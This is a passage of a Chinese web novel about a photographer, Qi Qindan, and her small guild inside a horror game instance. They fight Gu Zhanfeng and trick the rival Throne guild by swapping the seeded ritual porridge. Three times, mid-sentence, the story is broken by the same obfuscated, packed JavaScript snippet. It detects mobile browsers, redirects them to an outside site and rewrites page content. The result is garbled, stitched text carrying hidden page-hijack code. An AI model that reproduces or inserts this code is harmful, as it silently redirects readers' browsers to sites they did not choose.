“顾大佬有没有心情猜猜,是我的子弹快,还是你的风刃快?”齐檎丹拿枪管顶住顾斩风,偏头笑问。挨得这么近,只要勾勾手指扣动扳机,就算从未开过枪的人,都能轻轻松松将人重伤。 在她以子弹威胁下,顾斩风松开了她的右手,并被迫放弃了居高临下的优势位置。 齐檎丹重新站立起来。 这把枪,让她结束了任人鱼肉的被动局面。 顾斩风的反应很配合,似乎真对她的枪口有所忌惮,可事实真的如此?齐檎丹看着顾斩风缓缓后退,眉宇间的起疑却从未打消,她举枪瞄准:“停下,不能退得再远了。” 再远,她接近顾斩风的打法,就没意义了。 顾斩风只得站住。 他的脚步,停在一个恰到好处的位置,离齐檎丹不远不近,还没到风刃可以无所顾忌使用的距离。可齐檎丹心中,还是浮现出一丝不妙的怪异感。 这怪异感不是毫无来由的,因为,仅在片刻过后,齐檎丹便在顾斩风身后,瞧见了一点蹊跷的寒芒。 这寒芒,是正在凝实的风刃! 齐檎丹突然想要骂脏话。这冰块脸,果然不能信! 那寒光转眼已至身前。齐檎丹当即根据风刃的角度,调整站位,把顾斩风的身体当成肉盾挡板。在这个前提下使用风刃,即便顾斩风本人也会被误伤。 可齐檎丹不曾想,为了对付她,顾斩风居然连自身的安危都不顾了。 风刃在顾斩风的肩侧,切开了一道口子。 随即冲齐檎丹飞去。 这风刃来势太快、太猛,即便齐檎丹竭力闪躲,手上的手枪还是被生生削下去一块。 枪的断面里,露出了明显的塑料材质。 这可不是真枪的样子。 “高仿真道具枪?”顾斩风盯着那材质不正确的枪支断口,双眼危险地眯了起来,“这种塑料制品很轻吧?怪不得你拿起枪来,这么轻松。” 真的手枪是有一定分量的,顾斩风不惜自伤,也要斩断这把手枪,就是为了看看这枪支究竟是真是假。 “但还是骗到你了,不是吗?不要小看摄影师的道具种类。”齐檎丹扔掉假枪,换了匕首。 匕首的刃银光闪闪,或许是某种仿金属的涂层。 但这把匕首依旧很轻。 齐檎丹把匕首的手柄攥在手里,再次与顾斩风交手。那薄而亮的一刃银光,灵活得好似一尾鱼,轻而易举地被齐檎丹的手腕带着,在两人之间穿梭。 顾斩风没忘了,匕首也是摄影道具里常见的款式。 “这把匕首也是假的?”打从匕首进入视线的第一眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15355516|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾斩风警惕的判断便已经开始。 判断需要时间。 但,齐檎丹不打算给。 她举起匕首,向顾斩风肩膀上那道新鲜的伤口上划去。不管真假匕首,在同一伤口上造成的二次伤害,都足以令人疼得龇牙咧嘴。 顾斩风抬臂格挡,刚想借着这个机会近距离观察匕首,却不曾想,被齐檎丹早有预料地避开—— 齐檎丹攻击的,虽是他的伤口。 却根本意不在此。 那只握住匕首的手忽地往旁边一拐,绕到顾斩风身后,一刀捅进他肩膀里。 这一下,齐檎丹使出了全力。 创口极深极狠。 而齐檎丹的话语由于急剧缩短的距离,变得暧昧,犹如情人间的呢喃耳语:“不,这是真的。” 摄影的奥义,就在于真真假假,假假真真。 齐檎丹突然想,也许,顾斩风忘记她也是一件好事。顾斩风忘记她这个人的同时,也意味着忘记了曾经对她的了解,失去了原本已掌握的她的信息。 被王座公会里那帮蠢人影响,只把她当一个狂妄的普通新人对待,也无怪乎顾斩风会轻敌。 她猛然抽刀。 血光四溅,殷红狂涌。 被匕首带出的血滴,飞溅在顾斩风的颈侧脸侧,两处伤口的鲜血,也在不断流淌。须臾之间,顾斩风那身白大褂上,便染上大片妖异的血红。 突如其来的痛意,让顾斩风僵硬了一瞬。随即,他一言不发地抬起手,抹开了脸上他自己的血。 手掌上的血光映入虹膜,在眼底,杂糅成极深邃的阴冷。 齐檎丹还从未在顾斩风眸中,看到过这样的眼神—— 那眼神极其可怕。 冷酷,极端,尖锐。压抑酝酿着狂暴的施虐欲。 与此前的反差,就仿佛从山巅沉稳的冰川,化作海底潜伏的冰山。 深海里夺人性命的巨大冰山,绝大部分往往隐匿海底,深藏不露,连轮船上搭载的探测器都难以探测发觉。然而,一朝撞上,那尖锐的冰刃和堪比钢铁的硬度,却能不费吹灰之力地撕开水密舱,酿成船毁人亡的惨剧。 顾斩风为什么会变成这样? 是道具使然?是诅咒发作?又或者……这本就是顾斩风的一部分——真实,却不为人知? 三种可能性,同时冲击着齐檎丹的大脑神经。 顾斩风却先动了。 他快准狠地扳过齐檎丹的右手,想一举把齐檎丹的手臂卸掉。 奈何齐檎丹早有防备。在跟拍摄相关的一切事情上,齐檎丹都不可能坐以待毙。她挣扎了一下,没挣脱,立马改换方法。 手臂因受顾斩风制约而行动受限,她便伺机往顾斩风脚下一绊,利用腰力,带着顾斩风双双倒地。齐檎丹落地后遽然侧身,因躺倒之后被解放的双.腿相互配合,蟒蛇一样绞缠上顾斩风的脖颈。 大小腿折叠成锐角,发力收紧。霎那间,形成锁喉之势。 然而,顾斩风即便呼吸困难,也完全没有松手的意思。他双手分别攥在齐檎丹的右肩和右小臂上,只要一发力,就能卸下齐檎丹这条拍摄用惯了的胳膊。 而同一时刻,齐檎丹那条柔韧性惊人的长腿,也正勒在顾斩风的脖颈上,挤压着他的喉咙和气管。 两者各有对方的死穴在手,僵持不下。 战况一时陷入胶着。 86. 骨肉繁花13 这样的僵持虽然能够拖延时间,但终究不是解决的办法。 齐檎丹还记得,这里离他们发现王座公会众人的位置不远。万一先来的,是王座公会的人,那就麻烦了。 想及此处,齐檎丹骤然心焦。 她以腰带腿,控制腿部向内收缩夹紧,进一步将可供顾斩风吸入氧气的气管,挤压得更小。加大力度的同时,齐檎丹从齿缝间挤出一句威胁:“松开。” 回应她的,是手臂上的剧痛。顾斩风分不出手掰开她的腿,却有办法折磨她的右手:“你先。” 齐檎丹太阳穴上的筋突突直跳,也不知道是气的,还是疼的——这两种原因都会升高血压,导致头痛。 可恶!这样下去,右手真的会保不住的。 那可是她的惯用手啊。 且不说,右手干过多少辛苦活,立下过多少汗马功劳,在齐檎丹接下来的拍摄当中,拿相机、搬灯具、拎道具……哪一样用不着这只手。顾斩风这样,简直是欺人太甚。 齐檎丹切齿咬牙:“信不信我拧断你脖子?” 顾斩风:“副本世界不能杀人” 这可难不倒齐檎丹:“但大脑缺氧一旦超过4到6分钟,就会终生受损,也不知道出副本的时候,系统能不能恢复得了。顾大佬,你也不想你聪明的脑瓜子,一去不复返吧。” 顾斩风语气冷漠:“那你的手也保不住。” 齐檎丹吵起架来,嘴硬得跟钢铁似的:“嘻嘻嘻我又不怕,只要我想按快门,我用牙都行。” 没有什么能阻拦她拍照。 就算是失去右手,她也绝不可能放弃摄影。 顾斩风被齐檎丹呛到说不出话,索性闭嘴。因为缺氧,顾斩风能感到他的四肢正逐渐麻木,要是现在再不动手,等完全脱力了就来不及了。 反正只要毁掉齐檎丹的手,孙会长交代的任务就能完成,顾斩风没必要过多犹豫。 “咔哒——” 关节错位,骨骼发出脆响。 齐檎丹心里一颤。下一刻,从右手肩膀处传来的疼痛,登时冲上头顶,直掀天灵盖。 顾斩风是真的要把她的手搞残! 脱臼的手臂软软地垂下,不再受她硬脾气的主人支配,一下子变得好掌控多了。顾斩风抓着齐檎丹的右手臂,感觉像握着一杆脆弱的芦苇,只要逆着肘关节,往反方向用力一折,包裹在皮肉里面的骨头就会断开。 系统商店里只有止血和止痛的道具,任何伤势都要等到出副本的时候,才能让系统帮忙治愈。 所以齐檎丹的手只要一断,一时半会儿接不起来。 照片拍不了,技能用不了。 她在副本里存活下来的能力,会直接大打折扣。这,大概是孙光祖下达这一命令的目的。 就在顾斩风准备下手折断女主的骨骼时,他因颅内气压持续升高而变得迟钝的大脑,终于想起一个问题:为什么齐檎丹会知道,他最在意的,是他的头脑? 一个全然陌生的人,有可能知道这点吗? 这是一个疑点。 这个疑点,让顾斩风的动作慢了一拍。 而正是这慢一拍的恍惚,让他错失了,折断齐檎丹右手的最佳良机。 “刺啦!”坍塌的厢房废墟上,凭空撕裂开一道裂口,之前消失在厢房之中的苏意虹、邱义和邱勇,接连自裂缝中穿出,将顾斩风包围。 ——他们刚刚,全部被困进了另一个空间里。 这是王座公会的伎俩。 为的,就是让齐檎丹孤立无援。 顾斩风扫视周围,迅速作出了判断。跟不知名公会的四个人对上,他的胜算即便不是完全没有,也一定大不如前。 更何况,他脖子这个死穴,现在还被齐檎丹紧紧绞着。 血流不畅的影响越发明显。 他逐渐头晕目眩。 此地不能久留。顾斩风立刻松手,给双手腾出空闲。 不知他从系统背包里,翻出了哪个逃遁道具,不到半秒,顾斩风的身影便化作轻烟消失,齐檎丹的右手重获自由。 齐檎丹从地上坐起来缓神,刚想活动一下手臂,却皱起眉头:“嘶,有点脱臼。” 邱义:“需要把你的伤害,转移到我身上吗?” 他的技能是“伤害转移”。 齐檎丹赶忙摇头:“不用,我才没那么金贵。” 说完,她自己龇牙咧嘴地,把那条脱臼的手臂又给接了回去。 “‘伤害转移’是个好技能,但还是少用为妙,能不用就不用。”齐檎丹对邱义说道,“这次还得谢谢你。要不是你找到阵眼,把王座公会困住你们的空间法阵破了,及时赶到,我这只手只怕就没救了。” “你是怎么知道,这阵是我破的啊?”邱义突然被夸,不好意思地低下头,目光瞥见手上拿着的旗帜。邱义一下子明白,齐檎丹为什么这样说了。 因为,齐檎丹看到了这面旗帜。 这不是普通的旗帜,上面的图案很是独特,像是道教的风水旗,比风水旗多了三分邪气。王座公会困住他们的空间法阵,便是以这面旗帜作为阵眼。 邱义一拔掉旗子,阵就破了,空间裂缝随之打开。 由于赶来的时候太过匆忙,邱义甚至没来得及把这面旗子丢掉,就这么拿着一路跑过来了。 苏意虹蹙眉:“齐檎丹,你的脸……” 她看到齐檎丹脸上的疤痕,那是一开始和顾斩风交手时,风刃擦过的痕迹。 那伤疤不是很深,这么短的时间内就已经结了血痂,但有这样一条狰狞的褐红色疤痕横在脸侧,肯定算得上破坏美感,让苏意虹这个化妆师格外心疼。 比脸更要紧的,是手。 齐檎丹脱臼的手臂虽然接上了,但她手法不专业,接得很勉强。一时半会儿,伤势要想完全恢复,肯定是天方夜谭的事情。 除了买那把匕首,齐檎丹完成任务1获得的积分,几乎都花费在了购买舒缓止痛的道具上。花积分容易,赚积分困难,齐檎丹看着她即将归零的积分,被肉疼得连连叹气。 “刚刚才使诈让你中花签,差点害你丧命,现在又派人来折断你的手,王座公会那群人,是真当我们不会反击是吗?”邱勇的血性,都被激发成了怒气,“这简直是欺人太甚!” 苏意虹蔫了吧唧地叹气:“我想,他们是觉得,我们根本没有能力反击……” 对面全员的考察员等级,比他们高了好几个台阶,通关副本的经历,也不知道比他们多了多少倍。在强劲的对手面前,他们弱得惹人发笑。 如同车轮底下的一只蚂蚁,一不小心就会被碾死。 齐檎丹听了,暗暗感到不妙。 他们不知名公会的士气,怎么有种要散的趋势? 这可不行。不知名公会刚刚成立,本身实力就不足,要是连最后这点士气都涣散殆尽,那就真的没有回天之力了。她得想点办法,让士气重新振作。 齐檎丹拿出她的相机,那重量压着手掌,帮助她在浮躁的情绪中,把思维往深处沉。 士气之所以散了,主要是因为接连两次的被动挨打。 太憋屈了。 要这么憋屈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15367746|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下去,不仅王座公会会更加气焰嚣张,他们不知名公会内部,也难免心生不满。久而久之,易生罅隙。 可说起回敬,不知名公会又碍于实力差距,无法给王座公会正面有力的回击,只能另辟蹊径,采取特殊手段。然而,他们又有什么特殊手段,足以打王座公会那群人一个措手不及呢? 齐檎丹把相机抱在怀里,陷入深思。 但系统才不管她在想什么。下一瞬,系统群发的任务2,就被以弹窗的形式,送到了所有考察员眼前。 【任务2:喝花婆粥】 【“花婆施粥”的故事,一直是人们津津乐道的美谈。相传,头上戴花的卖粥婆婆为穷人施粥,而这事迹,后来演变成了喝花婆粥的仪式。】 【请考察员等待花婆粥烹饪完成后,到花婆庙施粥位置,领取花婆粥,并将其喝下。】 邱义看完任务2的内容后,主动说起:“庙里应该老早就已经在煮粥了,我在庙外看到了炊烟。这会儿,花婆粥应该快煮好出锅了。” 被任务要求入口的,从来不是什么好东西。 这次的粥也一样。 因为不知道,这花婆粥是怎么个有害法,他们之中又有人知道花婆粥的制作地点,如果能先过去探探情况,再决定应对措施,自然最好的。 但齐檎丹扫视了一圈,发现身边没一个人提得起精神。 一个个萎靡不振。 苏意虹的声音有气没力:“唉,所以我们等会儿就是要去喝粥,是吧?希望我们不要再遇见王座公会了,不然又得被阴了。” “也许,我们可以反过来阴他们。”齐檎丹说。 她听见笑声。 她知道有人把她这句话,当成了笑话。 于是齐檎丹不厌其烦地重复了一遍。这次话音落地后,她脸上严肃认真的神情,终于让人安静下来,听她说话: “我有一个道具叫‘穆青青的记者证’,方便降低鬼怪的警惕心,融入鬼怪搞事情。而苏意虹的专属技能是‘化妆神术’,可以转变人与物体的形态样貌,非常适合进行一些祸水东引的小小‘设计’。” “需要我用技能,模仿王座公会的人吗?”苏意虹面露难色。 正如同齐檎丹使用“照鬼相机”技能,需要会拍照一样,施展“化妆神术”技能也有门槛,会化妆是最基本的前提。 倘若施展技能,只是为了变化物品外观还好,偏偏是对苏意虹要求更高的人物模仿。要达到这个目的,苏意虹必须要对模仿对象有一个清晰的认知。 她得谙熟对方的容貌长相。 最好是熟悉到,能化仿妆的那种程度。 众所周知,如果想要保证,把仿妆画得尽可能像,就需要对那个人的容貌有一定了解。实在不行,有参考图或参考视频也行。 齐檎丹第一反应,是想要找照片参考。然而,因为怕被毁坏相机,齐檎丹此前一次都没敢在这群土匪面前把相机掏出,更罔谈拍照了。并且,除了她这个拍照狂热分子,普通人不太可能在危机中还惦记着拍照。 另外一个参考的来源,是直播。可这会儿,他们全员又在副本里,王座公会那些人的直播回放有是有,却得等出去才能看。 没有相机照相,没有直播录像,苏意虹又不熟悉那些人…… 究竟还有什么可供参考呢? 齐檎丹凝着眼眉,苦思冥想,突然之间如梦初醒。除了相机,她身上并不是没有能留得住影像的东西。 她分明有一台出生自带的相机。 那台相机不在别处,此刻,就摆在她身上。 87. 骨肉繁花14 这台最原始的相机,就是齐檎丹的视觉。 相机,来自对视觉过程的模拟。虽然遇到王座公会会员的这几次,齐檎丹随身携带的相机没派上用场,但经过几番相遇和较量,她的视觉过程,也已经完美地代替相机,记录下了这些人。 眼睛是最佳配置的镜头,大脑是最好的内存卡。只要她齐檎丹还没死,这台相机就永远开着,永远可以工作。 她现在唯一需要做的,就是把脑子里的照片“打印”出来。 齐檎丹取出纸笔。 她沉下心神,闭上眼睛,使脑海中对这几个人面部的记忆,重新浮现。 加上王座公会的会长孙光祖,王座公会一共来了五个人。齐檎丹首先排除了孙光祖,以及虽有影响力,却不太受信任的顾斩风。“灰帽子”基本没漏过脸,齐檎丹的排除法更是做得干脆利落。 她在“狞猫”和“独眼龙”之间犹豫了一下,最终选择了后者。 “独眼龙”戴着黑眼罩,特征比“狞猫”的竖瞳更明显。因而,他们模仿起来也方便得多。 那只凶神恶煞的独眼,本就容易记忆,再加上等待祈福的期间,独眼龙鬼鬼祟祟地在她身边转悠过几次,都被齐檎丹发觉。这几次下来,齐檎丹想不对他印象深刻都不行。 确定完要画的对象后,齐檎丹当即提笔,将大脑里储存的记忆绘制下来。但一个人的记忆力,毕竟没有忠实记录下影像的相机那么靠谱。 因此,齐檎丹明智地发动了群众的力量。 能为反击贡献出一份力,大家都很愿意。更何况,这仅仅是调出记忆,再动动嘴皮子的小事。 “这个眉弓好像没那么高吧?鼻子得再塌一点。” “我记得他眉毛蛮粗的。” “嘴巴的位置可能得再高一点。我觉得,这独眼龙可能还有点龅牙。” “……” 你一言我一语中,画像里的人脸被几经修改,最终成形。 等苏意虹拿到最终版的“独眼龙”画像之后,她忍不住发出一声惊呼:“哇!最终版的这一张画像,画得真的好像啊!我觉得我可以画仿妆了,这参考图的相似度,完全没有问题。” 苏意虹使用技能,淡淡的荧光没入指尖。她“唰”一声拉开化妆包的拉链,恍如上阵前的将士,打开装满刀剑的宝匣。 还未开战,已有战意。 化妆包里面,各种化妆品和化妆刷应有尽有。苏意虹对照着画像,三下五除二挑选出了合适的用品。 拿起化妆品的那一霎,苏意虹偏圆的杏眼里,原有的消极情绪有如冰消雪融。取而代之的,是化妆师的专业和认真。 不就是要做到以假乱真吗?没问题。 她手拿把掐。 . 花婆庙的厨房里,热气滚滚。 戴着老婆婆头套的老大姐,正拿着一根木勺,费力搅动着大铁锅里,那已然熬出米油的白粥。 花婆粥差不多熬好了,锅里的米香一阵接着一阵弥漫。老大姐用毛巾包着铁锅两边的把手,端起铁锅,把白粥倒进准备好的桶中,嘴里哼起久远的童谣:“花婆粥,滚碌碌,慢慢食,都有福……” 那童谣本来包含着祝福的寓意,奈何那戴头套的老大姐声音嘶哑,而且五音不全。 一首好端端的童谣,被哼得曲不成曲,调不成调。 还因为头套的阻隔而发闷。 猛一听,竟然比叽哩哇啦的诅咒还要难听。 按理说到了这一步,花婆粥应该就算是做好了。然而,惜花古镇里的“花婆粥”做起来似乎更麻烦些,比其他地方的花婆粥,要多添加一种配料。 老大姐深吸一口气,牟足了劲,把装满白粥的那个大桶提上手推车。但在将花婆粥带出去分发前,她还有最后一件事要做。 老大姐往口袋里摸了摸,摸出来一把新鲜的花籽,撒进粥里。 花籽落进粘稠的粥中,转瞬被粥包裹。 不分彼此。 撒完花籽后,老大姐手持木勺再度搅拌,直到花籽和白粥混合均匀为止。她的神色是那么专注,以至于她没留意到,厨房的窗外多了几双眼睛。 那好几双眼睛里,其中有一双是齐檎丹的。 老大姐撒下的这花籽,齐檎丹眼熟。 几乎使齐檎丹丧命的赐花仪式上,从花婆神像里浮现出的那个黑影拿在手里,想往人肚子里装的,也是这样的花籽。 然而粥里的大量花籽,和赐花仪式上齐檎丹看见的,存在着细微的不同。 首先是品质。 被黑影拿在手上的花籽颗颗饱满,无干瘪现象,粥里花籽的品质就次一些。 其次,粥里的花籽上,包裹着一层半透明的特殊物质,大概能起到隔热保护的作用,提高花籽泡在滚烫白粥中的成活概率。 想到按照任务要求喝下这些热粥后,可能像赐花仪式上那个可怜的考察员一样,被生根发芽的花籽开膛破肚,吸尽生命,齐檎丹就禁不住打了个寒战。为避免这么糟糕的事情发生,她得做点什么。 “砰!”正在老大姐推动手推车,正准备把加了花籽的那桶花婆粥,推到施粥位置,分给信徒们时,一块石头砸到了她的背上。 有点疼,但不严重。老大姐的肩胛骨动了动,却不打算多管,只当是哪个顽皮孩子的恶作剧。 还是花婆粥更重要。 她得赶紧把在规定时间里,把花婆粥推去分发。 “砰!”又是一块石头从窗外飞来,这一次,砸在她装热粥的铁桶上,差一点就砸进她还没盖上盖子的花婆粥里。 她的粥!老大姐睁大眼睛,无声尖叫。 哪个混蛋敢动她的粥?! 就算是一只小苍蝇,在人想睡觉时,时不时跑到人耳边“嗡嗡嗡”一阵子也很烦人。更何况,这些石头,恐怕是冲着她辛辛苦苦熬了这么久的花婆粥来的。 她可忍不了! 老大姐立刻给粥桶盖上盖子。 转身,她气势汹汹地瞪向窗外,寻找那捣乱的罪魁祸首。 她看到了一只独眼,就在窗外。 那只独眼充满戾气地盯着老大姐,另外一只眼睛上,蒙着标志性的黑色眼罩。老大姐隔着窗户栅栏仔细一瞧,这独眼龙的手上,还拈着好些石子。看样子,他还打算再往新鲜出炉的花婆粥里,多扔几颗。 这一副凶恶样,气得老大姐三魂离体、七窍生烟:“嘿呦!干坏事还有理了,是吧?!” 窗外的“独眼龙”毫不恋战,丢完石头就跑。 老大姐哪里肯放。 她两手扒着窗户栅栏,猛一使劲。那铁打的窗栅栏,竟然跟撕纸一样被她撕开了。 老大姐钻出窗去,手里头挥舞着长柄勺子,跟在“独眼龙”后面,穷追不舍。不一会儿,她就跑出去大老远。 趁着厨房里无人把守,齐檎丹和苏意虹光明正大地从正门溜进厨房。 铁桶里的白粥已经和花籽混在一起了,再把花籽挑出来需要时间,她们没有这么多时间可供挥霍。齐檎丹环顾四周,很快在厨房角落,找到了装粥同款的铁桶,铁桶里装的满是清水。 齐檎丹费了好些力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15384325|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,把水桶跟粥桶调换了个位置。苏意虹则拿着蘸取色粉的一个小化妆刷,使用技能“化妆神术”,分别在两个桶上方轻轻刷了刷。 技能作用下,那两个桶中的内容物瞬间变了。 白粥变清水,清水变白粥。 她们两人配合默契,拿清水替换掉了手推车上那桶花婆粥。正当齐檎丹把手推车上那桶“粥”的盖子,重新盖回去时,她收到了邱勇发来的消息。 邱勇扮成的“独眼龙”,已经成功甩开了老大姐:“你们快离开厨房。我用‘重力加强’技能加重了那老大姐的体重,她跑慢了,没追上我,现在正急着往回赶。估计是时间快到了,要去分粥了。” 这提醒来得及时。 齐檎丹赶忙收拾现场,带着苏意虹迅速逃离。 她们前脚刚出门,后脚就看见老大姐赶了回来,火急火燎地钻进厨房,推起手推车,就往施粥位置狂奔。 由于没有去确认粥桶的温度,老大姐错过了这场调包计里,最大的破绽。苏意虹只能改变外观,改变不了温度—— 因此手推车上那一桶“粥”,是凉的。 . 逃遁道具的使用时长到了,顾斩风化作的轻烟落了地。 变回人形的第一时间,顾斩风就注意到了,隐藏在旁边树丛里的狞猫眼睛。 那双独特的竖瞳,紧盯着他。 像监视。 顾斩风认出,这是王座公会里的另一个会员,平时总跟在孙光祖会长身侧。 这个会员代号“狞猫”,跟其专属技能的名字一模一样。不仅有着狞猫的竖瞳,此人其他的身体部位,也能化成狞猫的样子 就像现在,“狞猫”就把手化成爪子,像猫科动物一样低头舔了舔,露出一截粉红的舌尖。他的语气里没有善意:“喵,我只是想知道,大名鼎鼎的顾大佬,是不是也会有完不成的任务?” 猫科动物的习性,已经影响到“狞猫”日常的行为举止了。 有“狞猫”,意味着孙光祖也在这周围。 顾斩风环顾左右。 果不其然,孙光祖会长的身影从树丛里缓缓踱出。 “果然啊,我已经预料到这个结果了。”孙光祖以一种预判到一切的倨傲,仰着头颅,拿鼻孔对着顾斩风,“完不成这个任务不要紧,在离开这个副本前,我会给你足够多的时间。不过,任务的内容就要换了——我要你,杀了齐檎丹。” 在这次下副本前,孙光祖难得大方地给了顾斩风一个珍贵的保命道具,能逃脱一次系统制裁。 这道具,就是为了这个新任务。 孙光祖的身后,跟随着王座公会的其他会员。只不过,所有人看向他的目光,都非常奇怪,与以往大不相同。 比起之前几次出任务,王座公会内部对他的不信任感,这次格外重。 “独眼龙”和“灰帽子”的目光里,审视的成分格外重,除此之外,还有一些担心他发现什么似的戒备。而“狞猫”的眼睛里,还流露出了一点对他的同情。 同情?他需要别人同情? 顾斩风疑惑。 但随即,他想起了齐檎丹对他本不该有的了解程度,想起了他在这个副本里见到齐檎丹第一眼时,感受到的那股若有若无,却很快突然消失的熟悉感。 这几处反常,都让顾斩风感到奇怪。尽管孙光祖不断强调着,要他杀死齐檎丹,但顾斩风的想法与之相反。 齐檎丹不能杀,必须留。 顾斩风有种隐晦的直觉,如果他真的遵从了孙光祖的命令,他会后悔终生。 88. 骨肉繁花15 时间一到,分发花婆粥的活动正式拉开序幕。仅仅是一眨眼的光阴,等待施粥的信徒们就端着分到的塑料碗,在盛花婆粥的地方排起了长队。 那队伍蜿蜒曲折,好似长龙一般。放眼望去,组成龙身的,全是攒动的人头。 黑压压一片。 之前还在厨房里煮花婆粥的老大姐,也到了发粥现场。她依旧顶着个不成比例的老婆婆头套,身前却系上了半新不旧的围裙。 分发花婆粥的地方在平台上,有一定高度差。 义工自发过来帮忙搬粥,老大姐摆手连称不用,她自己将整桶花婆粥提上来后,只来得及把手搁在围裙上擦了两下,周围就围满了等着喝花婆粥的信徒。老大姐赶忙拿起一个深深的不锈钢长勺,手脚麻利地从铁桶里舀起一勺又一勺米粥。 平台底下,透明塑料碗被一双双手举起的。老大姐盛完一堆碗,面前又来一堆空碗,忙得热火朝天,不亦乐乎。 没人怀疑粥的真假。 即便有信徒拿到花婆粥后,小声嘟囔这粥不热,也被一句“爱喝不喝”堵了回去。 没过多久,王座公会的人为了完成这第二个任务,同样来到了花婆粥的分发位置。与神情忧虑的其他考察员不同,孙光祖脸上笑容满面,显然已经将完成任务的积分视为囊中之物。 系统发布的这任务2,或许对别人危险,对王座公会的会长和被重点栽培的骨干来说,却不过是小菜一碟。 像这种有危险食物要入口的,由于在副本任务里出现得特别高频,已经成了进副本前必须准备的重点。作为会长和不受压榨的高等级考察员,这些人攒下的积分,完全足够他们每人在系统背包里,准备一点解决这类问题的道具。 到时候,只要这些道具使用得当,他们就能去除或者减轻吞食这类物质的危害性。 既完成了任务,又不会激怒NPC。 两全其美。 “会长您看,那不是齐檎丹他们吗?”在王座公会这次带进副本的几人里,“独眼龙”是孙光祖最忠实的狗腿子。他一瞄见远处刚喝完花婆粥的齐檎丹,就腆着脸来向孙光祖汇报。 “独眼龙”天生一副凶相,为了讨好孙光祖,他挤着眼睛笑得谄媚,没瞎的那只眼也快被挤得看不见了。 仇人相见,分外眼红。 孙会长带着势必要高人一等的气场,趾高气扬地向齐檎丹他们走去。 然而,齐檎丹和她不知名公会的人,好似集体吓破了胆儿。这次才一瞟见孙光祖,他们就脚底抹油,飞快地闪躲到一边去了,乖乖给孙光祖让出一条宽敞的大道。 孙光祖对此非常满意。 什么不知名公会,不就是上不得台面的小公会吗?还能反了天不成? 甭管齐檎丹当初登顶新人榜的时候,是怎样的风光无限、风头无两,现在就应该这样害怕他孙光祖才对。他孙光祖可是王座公会的会长,手里头掌握着会员和资源,可比她上百个不知名公会加起来都多。 孙光祖双手背在身后,越想越得意,丝毫没有意识到齐檎丹的避让有哪里不对劲。 齐檎丹见到他之后的闪躲,不带一点心理上的怯懦。 ——那是闪躲瘟神的躲。 . 孙光祖还没走到花婆庙的施粥位置,那里,就突然爆发出一声惊天动地的咆哮:“我的粥!我熬了那么久的花婆粥!!” 那咆哮声,既崩溃又愤怒。 分贝之大,震得整个花婆庙都要摇上一摇。 NPC那里出事了?孙光祖听到这高声咆哮后,首先想到的不是惊讶,而是喜悦。 因为大部分心神都花在了怎么对付齐檎丹上,他们王座公会整体的剧情解锁进展,比过其他副本的时候慢了一些。对此,孙光祖并不满意。 他不仅要杀齐檎丹,剧情解锁度达到100%奖励的珍贵道具,他也想要。 本来,推动剧情解锁度是不容易的。 然而这声咆哮,让孙光祖听到了转机。任务现场出现意外,就意味着考察员有提供帮助的机会。 这可是一个博取NPC好感,并从他们手里获得更多线索的大好时机。 王座公会必不能错过! 机不可失,失不再来。孙光祖赶忙带着被派来保护他的会员,火速赶往花婆庙的施粥位置。 尽管那地点人山人海,但有会员帮忙拦人开路,孙光祖穿过重重人群,走到分粥的老大姐面前,就跟闲庭信步一样容易。 孙光祖先挺直脊背,整理了一下西装。而后,他才施施然开口: “有什么是我们能帮得上忙的吗?” 孙光祖敢打包票,他这句询问,绝对给出了百分之百的真诚态度。然而,负责分花婆粥的那个老大姐,却直接忽略了他这么个会长的存在,径直看向低头跟随在孙光祖身后,低着头降低存在感的“独眼龙”。 老大姐抬起一根手指,粗糙的指尖颤颤巍巍地指向“独眼龙”,胸口剧烈起伏着:“你们……是一伙的?” “独眼龙”还没赶得及开口,就被孙光祖一把推到旁边。 孙光祖挤了过来。 孙光祖独自占据老大姐的视觉中心:“是,我是这个人的会长。他做什么都得听我的。” “做什么都是听你的?好好好,我明白了。我算是知道,指使他搞鬼的是谁了。”老大姐双手搭在髀间,从硕大无比的老婆婆头套底下,发出桀桀冷笑,“来人!帮我拦住他们!” 孙光祖这才意识到,情况不对。 可已经晚了。 老大姐声音里的情绪,已经变得越来越可怕:“厨房除了我,就只有你这个会员进去过。一定是你们,把我的粥变成了这个样子!” 她把身边贴着“花婆粥”标签的大桶扛在肩膀上,往下一倒。 “哗啦啦——” 倒出来的却不是粥,而是清水。 无色无味的寻常清水。 周围排了大半天队,只为了喝花婆粥的信徒们,顿时变了面色。他们黑沉着脸,从四面八方向王座公会聚拢。 方才,王座公会的人强行挤进人群,虽是如愿以偿地见到了分粥的大姐,却也把他们困在了人群的最中心,堵死了退路。现如今,根本走不脱。 